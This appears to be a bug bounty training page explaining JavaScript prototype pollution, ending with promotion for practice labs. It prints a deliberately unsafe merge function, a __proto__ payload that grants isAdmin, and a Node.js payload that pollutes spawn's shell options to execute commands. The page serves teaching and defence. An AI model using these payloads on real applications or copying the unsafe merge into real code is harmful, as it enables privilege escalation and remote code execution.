Prototype Pollution

High

Prototype Pollution

Definition

Prototype Pollution is a JavaScript-specific vulnerability that lets an attacker modify the prototype of base objects (Object.prototype). By injecting properties into the prototype, every object in the application inherits them, which can lead to XSS, security bypasses or remote code execution.

Impact

Cross-Site Scripting (XSS) through gadgets in third-party librariesBypassing validations and security controlsRemote code execution on the server (Node.js)Denial of servicePrivilege escalation (isAdmin: true)

Examples

Prototype Pollution via object merge

The recursive merge function does not filter the __proto__ key. When the attacker sends JSON with __proto__, the property is assigned to Object's prototype, affecting every object in the application.

// Vulnerable merge function
function merge(target, source) {
  for (let key in source) {
    if (typeof source[key] === 'object') {
      target[key] = merge(target[key] || {}, source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

// Attacker payload
const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
merge({}, payload);

// Now ALL objects have isAdmin: true
const user = {};
console.log(user.isAdmin); // true

Prototype Pollution to RCE in Node.js

In Node.js applications, Prototype Pollution can be chained with child_process functions to achieve remote code execution, since these functions read options such as 'shell' from the prototype when they are not explicitly specified.

// If the application uses child_process.spawn/fork:
const payload = {
  "__proto__": {
    "shell": "/proc/self/exe",
    "argv0": "console.log(require('child_process').execSync('id').toString())//"
  }
};

// By polluting the prototype, when spawn runs without explicit options,
// it inherits shell and argv0 from the prototype, executing arbitrary code.

Practice Prototype Pollution with real labs

Apply what you've learned in safe environments based on real bug bounty reports.

See practice labs
hunters training
712

hunters training

labs from real reports
55

labs from real reports

completions
1,206

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy
BBLabs · bug bounty training

Stop reading about bugs and start hunting them

Create your free account and practice on labs based on real reports that paid out thousands of euros. The Academy is free forever.

No card · free Academy · cancel anytime